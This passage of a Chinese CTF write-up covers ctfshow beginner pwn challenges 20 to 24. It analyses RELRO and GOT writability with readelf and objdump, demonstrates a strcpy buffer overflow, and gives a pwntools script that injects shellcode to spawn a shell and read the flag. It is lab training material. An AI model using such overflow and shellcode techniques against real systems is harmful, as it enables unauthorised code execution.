class="line">Hint:提交ctfshow&#123;【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】&#125;</span><br><span class="line">例如 .got可写.got.plt表可写其地址为0x400820 0x8208820</span><br><span class="line">最终flag为ctfshow&#123;1_1_0x400820_0x8208820&#125;</span><br><span class="line">若某个表不存在，则无需写其对应地址</span><br><span class="line">如不存在.got.plt表，则最终flag值为ctfshow&#123;1_0_0x400820&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ ./pwn 0x600f18</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : What is RELRO protection ?</span><br><span class="line">    * *************************************</span><br><span class="line">RELRO: 52454c52</span><br><span class="line">$ ./pwn 0x600f28</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : What is RELRO protection ?</span><br><span class="line">    * *************************************</span><br><span class="line">RELRO: 52454c52</span><br></pre></td></tr></table></figure><p>程序正常执行，.got表和.got.plt都可写</p><p>故flag:ctfshow{1_1_0x600f18_0x600f28}</p><h6 id="分析过程：-3"><a href="#分析过程：-3" class="headerlink" title="分析过程："></a>分析过程：</h6><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      No RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>可以看到仅开启了NX保护，RELRO保护是完全关闭状态</p><p>这里先看一下RELRO保护：</p><p>RELRO（RELocation Read-Only）是一种可选的二进制保护机制，用于增加程序的安全性。它主要通过限制和保护全局偏移表（Global Offset Table，简称 GOT）和过程链接表（Procedure Linkage Table，简称 PLT）的可写性来防止针对这些结构的攻击。RELRO保护有三种状态：</p><ol><li><p>No RELRO：在这种状态下，GOT和PLT都是可写的，意味着攻击者可以修改这些表中的指针，从而进行攻击。这是最弱的保护状态。</p></li><li><p>Partial RELRO：在这种状态下，GOT的开头部分被设置为只读（RO），而剩余部分仍然可写。这样可以防止一些简单的攻击，但仍存在一些漏洞。</p></li><li><p>Full RELRO：在这种状态下，GOT和PLT都被设置为只读（RO）。这样做可以防止对这些结构的修改，提供更强的保护。任何对这些表的修改都会导致程序异常终止。</p></li></ol><p>了解到上述内容后，这个保护的几题都游刃而解了</p><p>IDA查看</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.got:0000000000600F18 ; Segment type: Pure data</span><br><span class="line">.got:0000000000600F18 ; Segment permissions: Read/Write</span><br><span class="line">.got:0000000000600F18 _got            segment qword public &#x27;DATA&#x27; use64</span><br><span class="line">.got:0000000000600F18                 assume cs:_got</span><br><span class="line">.got:0000000000600F18                 ;org 600F18h</span><br><span class="line">.got:0000000000600F18 __libc_start_main_ptr dq offset __libc_start_main</span><br><span class="line">.got:0000000000600F18                                         ; DATA XREF: _start+24↑r</span><br><span class="line">.got:0000000000600F20 __gmon_start___ptr dq offset __gmon_start__</span><br><span class="line">.got:0000000000600F20                                         ; DATA XREF: _init_proc+4↑r</span><br><span class="line">.got:0000000000600F20 _got            ends</span><br><span class="line">.got:0000000000600F20</span><br><span class="line">.got.plt:0000000000600F28 ; ===========================================================================</span><br><span class="line">.got.plt:0000000000600F28</span><br><span class="line">.got.plt:0000000000600F28 ; Segment type: Pure data</span><br><span class="line">.got.plt:0000000000600F28 ; Segment permissions: Read/Write</span><br><span class="line">.got.plt:0000000000600F28 _got_plt        segment qword public &#x27;DATA&#x27; use64</span><br><span class="line">.got.plt:0000000000600F28                 assume cs:_got_plt</span><br><span class="line">.got.plt:0000000000600F28                 ;org 600F28h</span><br><span class="line">.got.plt:0000000000600F28 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC</span><br><span class="line">.got.plt:0000000000600F30 qword_600F30    dq 0                    ; DATA XREF: sub_400420↑r</span><br><span class="line">.got.plt:0000000000600F38 qword_600F38    dq 0                    ; DATA XREF: sub_400420+6↑r</span><br><span class="line">.got.plt:0000000000600F40 off_600F40      dq offset puts          ; DATA XREF: _puts↑r</span><br><span class="line">.got.plt:0000000000600F48 off_600F48      dq offset printf        ; DATA XREF: _printf↑r</span><br><span class="line">.got.plt:0000000000600F50 off_600F50      dq offset strtol        ; DATA XREF: _strtol↑r</span><br><span class="line">.got.plt:0000000000600F50 _got_plt        ends</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ objdump -R pwn</span><br><span class="line"></span><br><span class="line">pwn:     file format elf64-x86-64</span><br><span class="line"></span><br><span class="line">DYNAMIC RELOCATION RECORDS</span><br><span class="line">OFFSET           TYPE              VALUE</span><br><span class="line">0000000000600f18 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5</span><br><span class="line">0000000000600f20 R_X86_64_GLOB_DAT  __gmon_start__</span><br><span class="line">0000000000600f40 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5</span><br><span class="line">0000000000600f48 R_X86_64_JUMP_SLOT  <span class="built_in">printf</span>@GLIBC_2.2.5</span><br><span class="line">0000000000600f50 R_X86_64_JUMP_SLOT  strtol@GLIBC_2.2.5</span><br></pre></td></tr></table></figure><p>查看一下表项地址</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ readelf -S pwn</span><br><span class="line">There are 29 section headers, starting at offset 0x1878:</span><br><span class="line"></span><br><span class="line">Section Headers:</span><br><span class="line">  [Nr] Name              Type             Address           Offset</span><br><span class="line">       Size              EntSize          Flags  Link  Info  Align</span><br><span class="line">  [ 0]                   NULL             0000000000000000  00000000</span><br><span class="line">       0000000000000000  0000000000000000           0     0     0</span><br><span class="line">  [ 1] .interp           PROGBITS         0000000000400200  00000200</span><br><span class="line">       000000000000001c  0000000000000000   A       0     0     1</span><br><span class="line">  [ 2] .note.ABI-tag     NOTE             000000000040021c  0000021c</span><br><span class="line">       0000000000000020  0000000000000000   A       0     0     4</span><br><span class="line">  [ 3] .note.gnu.bu[...] NOTE             000000000040023c  0000023c</span><br><span class="line">       0000000000000024  0000000000000000   A       0     0     4</span><br><span class="line">  [ 4] .gnu.hash         GNU_HASH         0000000000400260  00000260</span><br><span class="line">       000000000000001c  0000000000000000   A       5     0     8</span><br><span class="line">  [ 5] .dynsym           DYNSYM           0000000000400280  00000280</span><br><span class="line">       0000000000000090  0000000000000018   A       6     1     8</span><br><span class="line">  [ 6] .dynstr           STRTAB           0000000000400310  00000310</span><br><span class="line">       000000000000004b  0000000000000000   A       0     0     1</span><br><span class="line">  [ 7] .gnu.version      VERSYM           000000000040035c  0000035c</span><br><span class="line">       000000000000000c  0000000000000002   A       5     0     2</span><br><span class="line">  [ 8] .gnu.version_r    VERNEED          0000000000400368  00000368</span><br><span class="line">       0000000000000020  0000000000000000   A       6     1     8</span><br><span class="line">  [ 9] .rela.dyn         RELA             0000000000400388  00000388</span><br><span class="line">       0000000000000030  0000000000000018   A       5     0     8</span><br><span class="line">  [10] .rela.plt         RELA             00000000004003b8  000003b8</span><br><span class="line">       0000000000000048  0000000000000018  AI       5    22     8</span><br><span class="line">  [11] .init             PROGBITS         0000000000400400  00000400</span><br><span class="line">       0000000000000017  0000000000000000  AX       0     0     4</span><br><span class="line">  [12] .plt              PROGBITS         0000000000400420  00000420</span><br><span class="line">       0000000000000040  0000000000000010  AX       0     0     16</span><br><span class="line">  [13] .text             PROGBITS         0000000000400460  00000460</span><br><span class="line">       0000000000000252  0000000000000000  AX       0     0     16</span><br><span class="line">  [14] .fini             PROGBITS         00000000004006b4  000006b4</span><br><span class="line">       0000000000000009  0000000000000000  AX       0     0     4</span><br><span class="line">  [15] .rodata           PROGBITS         00000000004006c0  000006c0</span><br><span class="line">       000000000000053a  0000000000000000   A       0     0     8</span><br><span class="line">  [16] .eh_frame_hdr     PROGBITS         0000000000400bfc  00000bfc</span><br><span class="line">       000000000000003c  0000000000000000   A       0     0     4</span><br><span class="line">  [17] .eh_frame         PROGBITS         0000000000400c38  00000c38</span><br><span class="line">       0000000000000100  0000000000000000   A       0     0     8</span><br><span class="line">  [18] .init_array       INIT_ARRAY       0000000000600d38  00000d38</span><br><span class="line">       0000000000000008  0000000000000008  WA       0     0     8</span><br><span class="line">  [19] .fini_array       FINI_ARRAY       0000000000600d40  00000d40</span><br><span class="line">       0000000000000008  0000000000000008  WA       0     0     8</span><br><span class="line">  [20] .dynamic          DYNAMIC          0000000000600d48  00000d48</span><br><span class="line">       00000000000001d0  0000000000000010  WA       6     0     8</span><br><span class="line">  [21] .got              PROGBITS         0000000000600f18  00000f18</span><br><span class="line">       0000000000000010  0000000000000008  WA       0     0     8</span><br><span class="line">  [22] .got.plt          PROGBITS         0000000000600f28  00000f28</span><br><span class="line">       0000000000000030  0000000000000008  WA       0     0     8</span><br><span class="line">  [23] .data             PROGBITS         0000000000600f58  00000f58</span><br><span class="line">       0000000000000010  0000000000000000  WA       0     0     8</span><br><span class="line">  [24] .bss              NOBITS           0000000000600f68  00000f68</span><br><span class="line">       0000000000000008  0000000000000000  WA       0     0     1</span><br><span class="line">  [25] .comment          PROGBITS         0000000000000000  00000f68</span><br><span class="line">       0000000000000029  0000000000000001  MS       0     0     1</span><br><span class="line">  [26] .symtab           SYMTAB           0000000000000000  00000f98</span><br><span class="line">       00000000000005e8  0000000000000018          27    43     8</span><br><span class="line">  [27] .strtab           STRTAB           0000000000000000  00001580</span><br><span class="line">       00000000000001f1  0000000000000000           0     0     1</span><br><span class="line">  [28] .shstrtab         STRTAB           0000000000000000  00001771</span><br><span class="line">       0000000000000103  0000000000000000           0     0     1</span><br><span class="line">Key to Flags:</span><br><span class="line">  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),</span><br><span class="line">  L (<span class="built_in">link</span> order), O (extra OS processing required), G (group), T (TLS),</span><br><span class="line">  C (compressed), x (unknown), o (OS specific), E (exclude),</span><br><span class="line">  D (mbind), l (large), p (processor specific)</span><br></pre></td></tr></table></figure><h2 id="pwn21"><a href="#pwn21" class="headerlink" title="pwn21"></a>pwn21</h2><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Hint：提交ctfshow&#123;【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】&#125;</span><br><span class="line">例如 .got可写.got.plt表可写其地址为0x400820 0x8208820</span><br><span class="line">最终flag为ctfshow&#123;1_1_0x400820_0x8208820&#125;</span><br><span class="line">若某个表不存在，则无需写其对应地址</span><br><span class="line">如不存在.got.plt表，则最终flag值为ctfshow&#123;1_0_0x400820&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn 0x600ff0</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : What is RELRO protection ?</span><br><span class="line">    * *************************************</span><br><span class="line">Segmentation fault (core dumped)</span><br><span class="line">$ ./pwn 0x601000</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : What is RELRO protection ?</span><br><span class="line">    * *************************************</span><br><span class="line">RELRO: 52454c52</span><br></pre></td></tr></table></figure><p>在写.got表的时候就会抛出异常，而写.got.plt依旧正常</p><p>故flag:ctfshow{0_1_0x600ff0_0x601000}</p><h6 id="分析过程：-4"><a href="#分析过程：-4" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec查看保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>可以看到RELRO保护部分开启了</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ objdump -R pwn</span><br><span class="line"></span><br><span class="line">pwn:     file format elf64-x86-64</span><br><span class="line"></span><br><span class="line">DYNAMIC RELOCATION RECORDS</span><br><span class="line">OFFSET           TYPE              VALUE</span><br><span class="line">0000000000600ff0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5</span><br><span class="line">0000000000600ff8 R_X86_64_GLOB_DAT  __gmon_start__</span><br><span class="line">0000000000601018 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5</span><br><span class="line">0000000000601020 R_X86_64_JUMP_SLOT  <span class="built_in">printf</span>@GLIBC_2.2.5</span><br><span class="line">0000000000601028 R_X86_64_JUMP_SLOT  strtol@GLIBC_2.2.5</span><br></pre></td></tr></table></figure><p>可以看到两种符号的OFFSET不在一页（大小为0x1000字节）上，权限就有可能不同</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ readelf -S pwn</span><br><span class="line">There are 29 section headers, starting at offset 0x1950:</span><br><span class="line"></span><br><span class="line">  [21] .got              PROGBITS         0000000000600ff0  00000ff0</span><br><span class="line">       0000000000000010  0000000000000008  WA       0     0     8</span><br><span class="line">  [22] .got.plt          PROGBITS         0000000000601000  00001000</span><br><span class="line">       0000000000000030  0000000000000008  WA       0     0     8</span><br></pre></td></tr></table></figure><p>这样看是不是它两还是都可写呢？但是仔细去看程序头就会发现不同：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ readelf -L pwn</span><br><span class="line">Program Headers:</span><br><span class="line">  Type           Offset             VirtAddr           PhysAddr</span><br><span class="line">                 FileSiz            MemSiz              Flags  Align</span><br><span class="line">  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040</span><br><span class="line">                 0x00000000000001f8 0x00000000000001f8  R      0x8</span><br><span class="line">  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238</span><br><span class="line">                 0x000000000000001c 0x000000000000001c  R      0x1</span><br><span class="line">      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]</span><br><span class="line">  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000</span><br><span class="line">                 0x0000000000000d68 0x0000000000000d68  R E    0x200000</span><br><span class="line">  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10</span><br><span class="line">                 0x0000000000000230 0x0000000000000238  RW     0x200000</span><br><span class="line">  DYNAMIC        0x0000000000000e20 0x0000000000600e20 0x0000000000600e20</span><br><span class="line">                 0x00000000000001d0 0x00000000000001d0  RW     0x8</span><br><span class="line">  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254</span><br><span class="line">                 0x0000000000000044 0x0000000000000044  R      0x4</span><br><span class="line">  GNU_EH_FRAME   0x0000000000000c2c 0x0000000000400c2c 0x0000000000400c2c</span><br><span class="line">                 0x000000000000003c 0x000000000000003c  R      0x4</span><br><span class="line">  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000</span><br><span class="line">                 0x0000000000000000 0x0000000000000000  RW     0x10</span><br><span class="line">  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10</span><br><span class="line">                 0x00000000000001f0 0x00000000000001f0  R      0x1</span><br><span class="line"></span><br><span class="line"> Section to Segment mapping:</span><br><span class="line">  Segment Sections...</span><br><span class="line">   00</span><br><span class="line">   01     .interp</span><br><span class="line">   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn.rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame</span><br><span class="line">   03     .init_array .fini_array .dynamic .got .got.plt .data .bss  <span class="comment">#该段具有 RW（可读可写）权限</span></span><br><span class="line">   04     .dynamic</span><br><span class="line">   05     .note.ABI-tag .note.gnu.build-id</span><br><span class="line">   06     .eh_frame_hdr</span><br><span class="line">   07</span><br><span class="line">   08     .init_array .fini_array .dynamic .got  <span class="comment">#包含 .got，但不包含 .got.plt   这表明：GOT 的前半部分（.got） 在程序加载后可能被标记为只读（由 GNU_RELRO 控制），防止被篡改。GOT.PLT（.got.plt） 通常仍保持可写，用于动态解析函数地址。</span></span><br></pre></td></tr></table></figure><p>可以看到程序头多了GNU_RELRO，将.dynamic 、.got标记为只读权限（R），那么在重定向完成后，动态链接器就会将这个区域保护起来。</p><p>在写.got表的时候就会抛出异常，而写.got.plt依旧正常</p><h2 id="pwn22"><a href="#pwn22" class="headerlink" title="pwn22"></a>pwn22</h2><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Hint：提交ctfshow&#123;【.got表与.got.plt是否可写(可写为1，不可写为0)】,【.got的地址】,【.got.plt的地址】&#125;</span><br><span class="line">例如 .got可写.got.plt表可写其地址为0x400820 0x8208820</span><br><span class="line">最终flag为ctfshow&#123;1_1_0x400820_0x8208820&#125;</span><br><span class="line">若某个表不存在，则无需写其对应地址</span><br><span class="line">如不存在.got.plt表，则最终flag值为ctfshow&#123;1_0_0x400820&#125;</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn 0x600fc0</span><br><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : What is RELRO protection ?</span><br><span class="line">    * *************************************</span><br><span class="line">Segmentation fault (core dumped)</span><br></pre></td></tr></table></figure><p>在写.got表的时候就会抛出异常，而.got.plt不存在</p><p>故flag:ctfshow{0_0_0x600fc0}</p><h6 id="分析过程：-5"><a href="#分析过程：-5" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec查看保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      Full RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x400000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>64位现在完全开启了RELRO保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ readelf -S pwn</span><br><span class="line">There are 28 section headers, starting at offset 0x1900:</span><br><span class="line"></span><br><span class="line">Section Headers:</span><br><span class="line">  [Nr] Name              Type             Address           Offset</span><br><span class="line">       Size              EntSize          Flags  Link  Info  Align</span><br><span class="line">  [ 0]                   NULL             0000000000000000  00000000</span><br><span class="line">       0000000000000000  0000000000000000           0     0     0</span><br><span class="line">  [ 1] .interp           PROGBITS         0000000000400238  00000238</span><br><span class="line">       000000000000001c  0000000000000000   A       0     0     1</span><br><span class="line">  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254</span><br><span class="line">       0000000000000020  0000000000000000   A       0     0     4</span><br><span class="line">  [ 3] .note.gnu.bu[...] NOTE             0000000000400274  00000274</span><br><span class="line">       0000000000000024  0000000000000000   A       0     0     4</span><br><span class="line">  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298</span><br><span class="line">       000000000000001c  0000000000000000   A       5     0     8</span><br><span class="line">  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8</span><br><span class="line">       0000000000000090  0000000000000018   A       6     1     8</span><br><span class="line">  [ 6] .dynstr           STRTAB           0000000000400348  00000348</span><br><span class="line">       000000000000004b  0000000000000000   A       0     0     1</span><br><span class="line">  [ 7] .gnu.version      VERSYM           0000000000400394  00000394</span><br><span class="line">       000000000000000c  0000000000000002   A       5     0     2</span><br><span class="line">  [ 8] .gnu.version_r    VERNEED          00000000004003a0  000003a0</span><br><span class="line">       0000000000000020  0000000000000000   A       6     1     8</span><br><span class="line">  [ 9] .rela.dyn         RELA             00000000004003c0  000003c0</span><br><span class="line">       0000000000000030  0000000000000018   A       5     0     8</span><br><span class="line">  [10] .rela.plt         RELA             00000000004003f0  000003f0</span><br><span class="line">       0000000000000048  0000000000000018  AI       5    21     8</span><br><span class="line">  [11] .init             PROGBITS         0000000000400438  00000438</span><br><span class="line">       0000000000000017  0000000000000000  AX       0     0     4</span><br><span class="line">  [12] .plt              PROGBITS         0000000000400450  00000450</span><br><span class="line">       0000000000000040  0000000000000010  AX       0     0     16</span><br><span class="line">  [13] .text             PROGBITS         0000000000400490  00000490</span><br><span class="line">       0000000000000252  0000000000000000  AX       0     0     16</span><br><span class="line">  [14] .fini             PROGBITS         00000000004006e4  000006e4</span><br><span class="line">       0000000000000009  0000000000000000  AX       0     0     4</span><br><span class="line">  [15] .rodata           PROGBITS         00000000004006f0  000006f0</span><br><span class="line">       000000000000053a  0000000000000000   A       0     0     8</span><br><span class="line">  [16] .eh_frame_hdr     PROGBITS         0000000000400c2c  00000c2c</span><br><span class="line">       000000000000003c  0000000000000000   A       0     0     4</span><br><span class="line">  [17] .eh_frame         PROGBITS         0000000000400c68  00000c68</span><br><span class="line">       0000000000000100  0000000000000000   A       0     0     8</span><br><span class="line">  [18] .init_array       INIT_ARRAY       0000000000600dc0  00000dc0</span><br><span class="line">       0000000000000008  0000000000000008  WA       0     0     8</span><br><span class="line">  [19] .fini_array       FINI_ARRAY       0000000000600dc8  00000dc8</span><br><span class="line">       0000000000000008  0000000000000008  WA       0     0     8</span><br><span class="line">  [20] .dynamic          DYNAMIC          0000000000600dd0  00000dd0</span><br><span class="line">       00000000000001f0  0000000000000010  WA       6     0     8</span><br><span class="line">  [21] .got              PROGBITS         0000000000600fc0  00000fc0</span><br><span class="line">       0000000000000040  0000000000000008  WA       0     0     8</span><br><span class="line">  [22] .data             PROGBITS         0000000000601000  00001000</span><br><span class="line">       0000000000000010  0000000000000000  WA       0     0     8</span><br><span class="line">  [23] .bss              NOBITS           0000000000601010  00001010</span><br><span class="line">       0000000000000008  0000000000000000  WA       0     0     1</span><br><span class="line">  [24] .comment          PROGBITS         0000000000000000  00001010</span><br><span class="line">       0000000000000029  0000000000000001  MS       0     0     1</span><br><span class="line">  [25] .symtab           SYMTAB           0000000000000000  00001040</span><br><span class="line">       00000000000005d0  0000000000000018          26    42     8</span><br><span class="line">  [26] .strtab           STRTAB           0000000000000000  00001610</span><br><span class="line">       00000000000001f1  0000000000000000           0     0     1</span><br><span class="line">  [27] .shstrtab         STRTAB           0000000000000000  00001801</span><br><span class="line">       00000000000000fa  0000000000000000           0     0     1</span><br><span class="line">Key to Flags:</span><br><span class="line">  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),</span><br><span class="line">  L (<span class="built_in">link</span> order), O (extra OS processing required), G (group), T (TLS),</span><br><span class="line">  C (compressed), x (unknown), o (OS specific), E (exclude),</span><br><span class="line">  D (mbind), l (large), p (processor specific)</span><br></pre></td></tr></table></figure><p>可以看到已经没有了.got.plt,而且.got也是不可写的</p><h2 id="pwn23"><a href="#pwn23" class="headerlink" title="pwn23"></a>pwn23</h2><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">Hint：用户名为 ctfshow 密码 为 123456 请使用 ssh软件连接</span><br><span class="line">     ssh ctfshow@题目地址 -p题目端口号</span><br><span class="line">     不是nc连接</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ssh ctfshow@题目地址 -p题目端口号</span><br><span class="line">The authenticity of host <span class="string">&#x27;lpwn,challenge.ctf,show]:28198 ([124.223.158.81]:28198)&#x27;</span>can<span class="string">&#x27;t be established.</span></span><br><span class="line"><span class="string">ECDSA key fingerprint is SHA256:PC6yCxGdKk51w8EXuEj0+Id4t/qL5AN1o0bgwj20yw.</span></span><br><span class="line"><span class="string">Are you sure you want to continue connecting (yes/no)? yes</span></span><br><span class="line"><span class="string">Warning: Permanently added &#x27;</span>[pwn,challenge,ctf.show]:28198,[124.223,158.81]:28198’(EcDsA) to the list of known hosts.</span><br><span class="line">ctfshow@pwn.challenge.ctf.show<span class="string">&#x27;s password: #输入密码 123456 进行连接</span></span><br><span class="line"><span class="string">$ ./pwnme aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</span></span><br><span class="line"><span class="string">* ************************************* </span></span><br><span class="line"><span class="string">* Classify: CTFshow --- PWN --- 入门</span></span><br><span class="line"><span class="string">* Type  : Linux_Security_Mechanisms     </span></span><br><span class="line"><span class="string">* Site  : https://ctf.show/    </span></span><br><span class="line"><span class="string">* Hint  : No canary found     </span></span><br><span class="line"><span class="string">* ************************************* </span></span><br><span class="line"><span class="string">How to input ?</span></span><br><span class="line"><span class="string">ctfshow&#123;...&#125;</span></span><br></pre></td></tr></table></figure><h6 id="分析过程：-6"><a href="#分析过程：-6" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec查看保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位开启NX保护，部分开启RELRO保护</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(flag, <span class="number">64</span>, stream);</span><br><span class="line">  ...</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;How to input ?&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( argc &gt; <span class="number">1</span> )</span><br><span class="line">    ctfshow((<span class="type">char</span> *)argv[<span class="number">1</span>]);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"><span class="type">char</span> *__cdecl <span class="title function_">ctfshow</span><span class="params">(<span class="type">char</span> *src)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> dest[<span class="number">58</span>]; <span class="comment">// [esp+Ah] [ebp-3Eh] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">strcpy</span>(dest, src);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><ol><li><p>首先，程序尝试打开名为”&#x2F;ctfshow_flag”的文件，并将文件指针赋值给 stream 变量。如果打开文件失败（文件不存在或无法访问），程序输出错误消息并终止。</p></li><li><p>如果成功打开文件，程序使用 fgets 函数从文件中读取最多64个字符到名为 flag 的缓冲区。</p></li><li><p>程序输出提示消息：”How to input ?”。</p></li><li><p>如果程序运行时传入了命令行参数（ argc 大于1），则调用 ctfshow 函数，并将第一个命令行参数作为参数传递给该函数。</p></li><li><p>ctfshow 函数很简单，它接受一个字符串参数 src ，并使用 strcpy 函数将该字符串复制到名为 dest 的缓冲区中。然后，它返回指向 dest 缓冲区的指针。</p></li></ol><p>这里仅仅是为了演示当未开启Canary保护时，输入字符串长度超过了 dest 缓冲区的大小，这可能导致缓冲区溢出漏洞。</p><p>详细原理在后续会再进行详细讲解。</p><h2 id="pwn24"><a href="#pwn24" class="headerlink" title="pwn24"></a>pwn24</h2><p>Hint：你可以使用pwntools的shellcraft模块来进行攻击</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">shellcode=asm(shellcraft.sh())</span><br><span class="line">io.sendline(shellcode)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">    * *************************************</span><br><span class="line">    * Classify: CTFshow --- PWN --- 入门</span><br><span class="line">    * Type  : Linux_Security_Mechanisms</span><br><span class="line">    * Site  : https://ctf.show/</span><br><span class="line">    * Hint  : NX disabled &amp; Has RWX segments</span><br><span class="line">    * *************************************</span><br><span class="line">jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814<span class="variable">$ri</span>\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX̀</span><br><span class="line">\xe7k\xe8F</span><br><span class="line">$ <span class="built_in">cat</span> /ctfshow_flag</span><br><span class="line">[DEBUG] Sent 0x12 bytes:</span><br><span class="line">    <span class="string">&#x27;cat ctfshow_flag\n&#x27;</span></span><br><span class="line">[DEBUG] Received 0x2e bytes:</span><br><span class="line">    <span class="string">&#x27;ctfshow&#123;...&#125;\n&#x27;</span></span><br><span class="line">ctfshow&#123;...&#125;</span><br></pre></td></tr></table></figure><h6 id="分析过程：-7"><a href="#分析过程：-7" class="headerlink" title="分析过程："></a>分析过程：</h6><p>checksec查看保护</p><figure 